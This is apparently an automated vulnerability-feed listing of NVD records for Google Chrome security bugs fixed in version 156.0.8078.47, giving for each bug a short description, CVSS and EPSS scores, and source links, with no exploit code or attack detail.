Memory corruption in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Internals in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113270
Use after free in Internals in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Internals in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113270).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113270&date=2026-10-25).
Sources:
NVD CVE-2026-113270: https://nvd.nist.gov/vuln/detail/CVE-2026-113270
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113270&date=2026-10-25
Use after free in Internals in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113263
Use after free in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Use after free in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113263).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113263&date=2026-10-25).
Sources:
NVD CVE-2026-113263: https://nvd.nist.gov/vuln/detail/CVE-2026-113263
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113263&date=2026-10-25
Use after free in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113261
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113261).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113261&date=2026-10-25).
Sources:
NVD CVE-2026-113261: https://nvd.nist.gov/vuln/detail/CVE-2026-113261
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113261&date=2026-10-25
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a...
https://kevwire.com/record/CVE-2026-113252
Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a... (Oct 20, 2026).
Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113252).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113252&date=2026-10-25).
Sources:
NVD CVE-2026-113252: https://nvd.nist.gov/vuln/detail/CVE-2026-113252
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113252&date=2026-10-25
Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113235
Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113235).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113235&date=2026-10-25).
Sources:
NVD CVE-2026-113235: https://nvd.nist.gov/vuln/detail/CVE-2026-113235
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113235&date=2026-10-25
Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113222
Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113222).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113222&date=2026-10-25).
Sources:
NVD CVE-2026-113222: https://nvd.nist.gov/vuln/detail/CVE-2026-113222
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113222&date=2026-10-25
Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113211
Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113211).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113211&date=2026-10-25).
Sources:
NVD CVE-2026-113211: https://nvd.nist.gov/vuln/detail/CVE-2026-113211
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113211&date=2026-10-25
Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113189
Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113189).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113189&date=2026-10-25).
Sources:
NVD CVE-2026-113189: https://nvd.nist.gov/vuln/detail/CVE-2026-113189
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113189&date=2026-10-25
Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113186
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113186).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113186&date=2026-10-25).
Sources:
NVD CVE-2026-113186: https://nvd.nist.gov/vuln/detail/CVE-2026-113186
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113186&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Prompts in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a...
https://kevwire.com/record/CVE-2026-113171
Memory corruption in Prompts in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a... (Oct 20, 2026).
Memory corruption in Prompts in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113171).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113171&date=2026-10-25).
Sources:
NVD CVE-2026-113171: https://nvd.nist.gov/vuln/detail/CVE-2026-113171
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113171&date=2026-10-25
Memory corruption in Prompts in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113169
Memory corruption in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted... (Oct 20, 2026).
Memory corruption in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113169).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113169&date=2026-10-25).
Sources:
NVD CVE-2026-113169: https://nvd.nist.gov/vuln/detail/CVE-2026-113169
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113169&date=2026-10-25
Memory corruption in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in WebShare in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113147
Improper input validation in WebShare in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in WebShare in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113147).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113147&date=2026-10-25).
Sources:
NVD CVE-2026-113147: https://nvd.nist.gov/vuln/detail/CVE-2026-113147
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113147&date=2026-10-25
Improper input validation in WebShare in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113146
Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113146).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113146&date=2026-10-25).
Sources:
NVD CVE-2026-113146: https://nvd.nist.gov/vuln/detail/CVE-2026-113146
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113146&date=2026-10-25
Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113141
Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113141).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113141&date=2026-10-25).
Sources:
NVD CVE-2026-113141: https://nvd.nist.gov/vuln/detail/CVE-2026-113141
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113141&date=2026-10-25
Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113138
Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113138).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113138&date=2026-10-25).
Sources:
NVD CVE-2026-113138: https://nvd.nist.gov/vuln/detail/CVE-2026-113138
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113138&date=2026-10-25
Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in PolicyContainer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113126
Memory corruption in PolicyContainer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in PolicyContainer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113126).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113126&date=2026-10-25).
Sources:
NVD CVE-2026-113126: https://nvd.nist.gov/vuln/detail/CVE-2026-113126
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113126&date=2026-10-25
Memory corruption in PolicyContainer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113118
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113118).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113118&date=2026-10-25).
Sources:
NVD CVE-2026-113118: https://nvd.nist.gov/vuln/detail/CVE-2026-113118
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113118&date=2026-10-25
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113116
Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113116).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113116&date=2026-10-25).
Sources:
NVD CVE-2026-113116: https://nvd.nist.gov/vuln/detail/CVE-2026-113116
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113116&date=2026-10-25
Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in PrintPreview in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113089
Improper input validation in PrintPreview in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted... (Oct 20, 2026).
